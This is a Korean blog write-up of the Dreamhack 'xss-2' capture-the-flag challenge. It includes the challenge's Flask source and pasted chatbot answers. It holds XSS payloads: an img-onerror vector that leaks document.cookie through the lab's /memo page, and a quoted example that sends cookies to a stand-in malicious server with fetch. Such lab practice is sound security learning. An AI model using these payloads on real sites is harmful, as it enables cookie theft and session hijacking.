Dreamhack/Dreamhack Wargame (Challenge)

[38] IT 비전공자 [dreamhack]xss-2문제 풀기

imaginefuture-1 2024. 10. 17. 12:06

 

 

38번째 문제 가보자구 WEB 문제다

 

https://imaginefuture-1.tistory.com/38

 

[36] IT 비전공자 [dreamhack]xss-1문제 풀기

36번째 문제 가보자고!  XSS(교차 사이트 스크립팅, Cross-Site Scripting) 취약점은 공격자가 악성 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 실행되도록 하는 공격 

imaginefuture-1.tistory.com

xxs-1에 이은 xxs-2 문제다

 

 

xss -2 !!

 

홈페이지는 외관상 똑같다.

 

 

xss-1에 했던 공격방법으로 시도했다(안될 걸 알지만..)

 

오 굿? 설마
그런일은 없었다.

 

 

소스코드나 보자...

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    return render_template("vuln.html")


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

 

 

 

 

 

xss -1 코드랑 비교했더니 아무리 봐도 똑같아 보이길래

 

뭐지 해서 질문 글을 읽다보니

 

찾았다 하하

 

 

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

이게 xss-1의 경우에는 템플릿으로 반환에서 script 태그가 작동하지만

@app.route("/vuln")
def vuln():
    return render_template("vuln.html")

xss-2에서는 html 자체에서 url에서 입력값을 받아와 innerHTML을 해줍니다.

innerHTML에서는 script태그가 작동하지 않는것이 정상입니다.

 

https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0

 

HTML 5

If the document has an active parser<!--XXX xref-->, then stop that parser, and throw away any pending content in the input stream. what about if it doesn't, because it's either like a text/plain, or Atom, or PDF, or XHTML, or image document, or something?

www.w3.org

안먹히는 이유가 있었구나!

 

그럼..뭐가 작동하죠..?

 

(먼산)

 

 


 

 

 

지피티야 지피티야!

 

gpt:

 

`innerHTML`을 사용할 때 `<script>` 태그가 작동하지 않는 이유는 DOM이 이미 로드된 후에 `innerHTML`로 추가된 스크립트가 실행되지 않기 때문입니다. 이를 해결하기 위해 몇 가지 방법이 있습니다:

1. **`createElement` 사용**:
   스크립트를 동적으로 생성하여 추가할 수 있습니다.

   ```javascript
   var script = document.createElement('script');
   script.src = 'your-script.js'; // 외부 스크립트 파일 경로
   document.body.appendChild(script); // 또는 원하는 위치에 추가
   ```

2. **`eval` 사용**:
   문자열로 작성된 JavaScript 코드를 실행할 수 있지만, 보안 및 성능 문제로 인해 이 방법은 권장되지 않습니다.

   ```javascript
   var code = "console.log('Hello World!');";
   eval(code);
   ```

3. **`setTimeout` 사용**:
   `innerHTML`로 추가한 후, 일정 시간 후에 스크립트를 실행할 수 있습니다.

   ```javascript
   document.getElementById('your-element').innerHTML = '<div>Hello World!</div>';
   setTimeout(function() {
       // 여기에 실행할 스크립트를 넣습니다.
       console.log('Script executed!');
   }, 0);
   ```

4. **템플릿 리터럴 사용**:
   ES6의 템플릿 리터럴을 이용하여 HTML과 JavaScript를 함께 작성하고, `innerHTML` 대신 `insertAdjacentHTML` 또는 다른 방법으로 삽입할 수 있습니다.

이러한 방법을 통해 동적으로 스크립트를 추가하거나 실행할 수 있습니다. 가장 안전하고 일반적으로 권장되는 방법은 `createElement`를 사용하는 것입니다.

 

 

 


 

흠... 그렇다면

 

지피티야 지피티야!

 

이 코드에서 xss 공격을 할 수 있는 태그가 뭐야!

 

gpt:

 

이 Flask 애플리케이션에서 XSS(교차 사이트 스크립팅) 공격을 할 수 있는 태그는 사용자가 입력할 수 있는 `param` 매개변수입니다. `param`은 URL 쿼리 파라미터로 전달되어 `check_xss` 함수에서 사용됩니다. 사용자가 이 매개변수에 JavaScript 코드를 포함한 문자열을 입력하면, 해당 코드가 클라이언트의 브라우저에서 실행될 수 있습니다.

### 공격 가능한 태그 예시

1. **스크립트 태그**:
   ```javascript
   <script>alert('XSS');</script>
   ```

이건 처음해본거, 안먹혔다. 스크립트! no!

2. **이벤트 핸들러**:
   HTML 요소에 이벤트 핸들러를 추가하여 XSS를 수행할 수 있습니다. 예를 들어, `onerror` 속성을 사용할 수 있습니다.
   ```html
   <img src="invalid.jpg" onerror="alert('XSS');">
   ```
스크립트가 유일하게 없군. onerror 속성을 사용해 풀어야 할 것 같다


3. **스타일 태그**:
   CSS와 함께 사용할 수 있는 방법으로, `expression` 속성을 사용하여 JavaScript를 실행할 수 있습니다(구형 브라우저에서만 가능).
   ```html
   <div style="width: expression(alert('XSS'));"></div>
   ```
구형..? 우린 크롬이라고~


4. **HTML 주석 내에서의 스크립트**:
   주석을 이용해 스크립트를 숨기는 방법입니다.
   ```html
   <!-- <script>alert('XSS');</script> -->
   ```
너도 스크립트 패스 


### 공격 흐름

1. 사용자가 `/flag` 경로에서 `param`에 악의적인 스크립트를 입력합니다.
2. 이 입력값은 `check_xss` 함수에서 URL로 전달되어 Selenium 브라우저로 열립니다.
3. 브라우저가 이 URL을 로드하고 악성 스크립트가 실행됩니다.

### 방어 방법

- **입력 값 검증 및 정제**: 사용자 입력을 필터링하고, HTML 특수 문자를 이스케이프하여 스크립트 실행을 방지해야 합니다.
- **CSP(콘텐츠 보안 정책) 설정**: CSP를 통해 신뢰할 수 있는 스크립트 출처를 정의하여 XSS 공격을 줄일 수 있습니다.
- **HTTPOnly 쿠키 사용**: 스크립트가 쿠키에 접근하지 못하도록 하여 민감한 정보를 보호할 수 있습니다.

이와 같은 XSS 공격의 가능성을 염두에 두고, 애플리케이션에서 사용자 입력을 처리할 때는 항상 보안에 유의해야 합니다.


 

 

지피티야 지피티야! onerro 속성에 대해 더 자세히 알려줘!!

 

gpt: 

 

`onerror` 속성은 HTML 요소에서 발생하는 오류를 처리하기 위한 JavaScript 이벤트 핸들러입니다. 주로 이미지(`<img>`), 스크립트(`<script>`), 스타일시트(`<link>`) 등과 같은 요소에서 사용됩니다. 이 속성을 사용하면 특정 이벤트가 발생했을 때(예: 이미지가 로드되지 않거나 스크립트가 실패할 때) 실행할 JavaScript 코드를 지정할 수 있습니다.

### 주요 특징

1. **사용 사례**:
   - 이미지가 로드되지 않을 때 사용자에게 대체 이미지를 표시하거나 경고 메시지를 보여주는 데 사용됩니다.
   - 스크립트 또는 스타일시트가 로드되지 않았을 때 대체 행동을 취하는 데 활용됩니다.

2. **문법**:
   `onerror` 속성은 HTML 요소의 속성으로 설정되며, JavaScript 코드를 포함할 수 있습니다.

   ```html
   <img src="invalid-image.jpg" onerror="this.src='fallback.jpg'; alert('Image failed to load.');">
   ```

   위의 예에서는 이미지가 로드되지 않으면 `fallback.jpg`를 소스로 설정하고 경고 메시지를 표시합니다.

3. **HTML 요소**:
   - `<img>`: 이미지가 로드되지 않았을 때 사용할 수 있습니다.
   - `<script>`: 스크립트 로드 실패 시 오류 처리에 사용할 수 있습니다.
   - `<link>`: CSS 파일이 로드되지 않을 때 대체 스타일을 적용할 수 있습니다.

### XSS 공격 벡터

`onerror` 속성은 XSS(교차 사이트 스크립팅) 공격에 악용될 수 있는 중요한 벡터입니다. 공격자는 다음과 같이 악성 스크립트를 삽입할 수 있습니다:

```html
<img src="invalid.jpg" onerror="alert('XSS');">
```

위의 코드가 브라우저에 렌더링되면, 이미지를 로드할 수 없을 때 `onerror` 이벤트가 발생하고, 사용자의 브라우저에서 `alert('XSS');`가 실행됩니다. 이와 같은 방식으로, 공격자는 악의적인 JavaScript 코드를 실행하여 사용자 정보를 탈취하거나, 세션을 하이재킹하는 등의 공격을 수행할 수 있습니다.

### 방어 방법

1. **입력 검증 및 정제**:
   - 사용자 입력을 철저히 검증하고 정제하여 스크립트 삽입을 방지합니다.

2. **CSP(Content Security Policy)**:
   - CSP를 설정하여 외부 소스에서 로드된 스크립트의 실행을 제한할 수 있습니다. 이는 XSS 공격의 위험을 줄이는 데 도움을 줍니다.

3. **JavaScript 코드 외부화**:
   - JavaScript 코드를 인라인으로 작성하기보다는 외부 스크립트 파일로 관리하여 보안성을 높일 수 있습니다.

4. **HTML 이스케이핑**:
   - 사용자 입력을 출력하기 전에 HTML 특수 문자를 이스케이프하여 잠재적인 스크립트 실행을 방지합니다.

이러한 방어 방법들을 통해 `onerror` 속성을 악용한 XSS 공격의 위험을 줄일 수 있습니다.


 

헛 그러면 gpt야 onerror속성으로 쿠키 값 알 수 있는 스크립트 알려줄래?

 

아마 document.cookie가 나오겠찌

 

 

gpt:

 

`onerror` 속성을 이용하여 쿠키 값을 탈취하는 간단한 XSS 공격 스크립트를 만들 수 있습니다. 이 스크립트는 이미지 로드 실패 시 실행되는 JavaScript 코드를 포함합니다. 사용자가 악성 코드를 포함한 URL을 통해 페이지에 접근할 경우, 쿠키 정보를 서버로 전송할 수 있습니다.

### 예제 스크립트

```html
<img src="invalid-image.jpg" onerror="fetch('http://your-malicious-server.com/steal?cookie=' + document.cookie);">
```

### 설명

1. **`<img>` 요소**: `src` 속성이 잘못된 이미지 URL을 사용하여 로드 실패를 유도합니다. 이 경우 `invalid-image.jpg`는 존재하지 않는 이미지입니다.

2. **`onerror` 속성**: 이미지가 로드되지 않으면 `onerror` 이벤트가 발생합니다. 이 이벤트 핸들러는 다음 JavaScript 코드를 실행합니다:
   - `document.cookie`: 현재 문서의 쿠키 값을 가져옵니다.
   - `fetch('http://your-malicious-server.com/steal?cookie=' + document.cookie)`: 쿠키 값을 포함한 GET 요청을 악성 서버로 전송합니다.

### 주의사항

- **윤리적 책임**: 이와 같은 스크립트는 실제 공격에 사용될 수 있으므로, 이를 작성하고 배포하는 것은 불법이며 윤리적으로 잘못된 행동입니다. 이 정보를 사용하는 목적은 보안 교육 및 방어를 위한 것이어야 하며, 절대로 악용해서는 안 됩니다.

- **방어책**: 이런 공격을 방지하기 위해서는 웹 애플리케이션에서 XSS 취약점을 제거하고, CSP(콘텐츠 보안 정책)를 설정하며, 쿠키에 `HttpOnly` 플래그를 설정하는 등의 방법을 사용하는 것이 중요합니다. 

### 방어 방법 요약

1. **사용자 입력 검증**: 모든 사용자 입력을 철저히 검증하고 필터링합니다.
2. **CSP 설정**: 콘텐츠 보안 정책을 통해 외부 스크립트 실행을 제한합니다.
3. **쿠키 보호**: `HttpOnly` 플래그를 사용하여 JavaScript에서 쿠키에 접근할 수 없도록 설정합니다.
4. **정적 파일 제공**: 항상 신뢰할 수 있는 출처에서만 스크립트와 스타일시트를 로드합니다.

이러한 방어책들을 적용하여 XSS 공격을 예방하고 애플리케이션을 보호할 수 있습니다.

 


 

fetch('http://127.0.0.1:8000/?cookie=' + document.cookie)

 

 

좋아 집어 넣어보자!

 

에?

 

 다시 접속..

 

크흑.. 안뜬다... 안뜬다고!!

 

뭔가 이상해서 다시 지피티 말을 읽었다.

 

요소가 필요하다. 그래야 onerror속성이 작동한단말이다..

 

이미지..이미지가 뜨면 작동하게

 

끄아아아

 

결국 블로그 풀이를 봤다

 

https://pd6156.tistory.com/219

 

[dreamhack] XSS-2

XSS-1과 마찬가지로 XSS 취약점을 찾고 flag를 획득하자. XSS-1과 똑같이 vuln, memo, flag 페이지가 존재한다. 제공된 소스 코드도 vuln에서 param을 return하는 코드가 빠진 거 외엔 XSS-1과 다를 게 없다. #!/usr

pd6156.tistory.com

 

<img src="xss" onerror="location.href='/memo?memo='+document.cookie">

 

1. img 태그 이용
2. xss-1 소스코드랑 거의 달라지지않기에 뒤에는 똑같이 해도 상관없다.

이 두개!! 두개만 알았어도!!!

하아아아아아아

거의 다왔는데ㅔ에에ㅔ에에


그래도 혼자 나름 이정도까지 생각한게 뿌듯하다!!! 깔깔




언제나 봐도 늘 반가운 플래그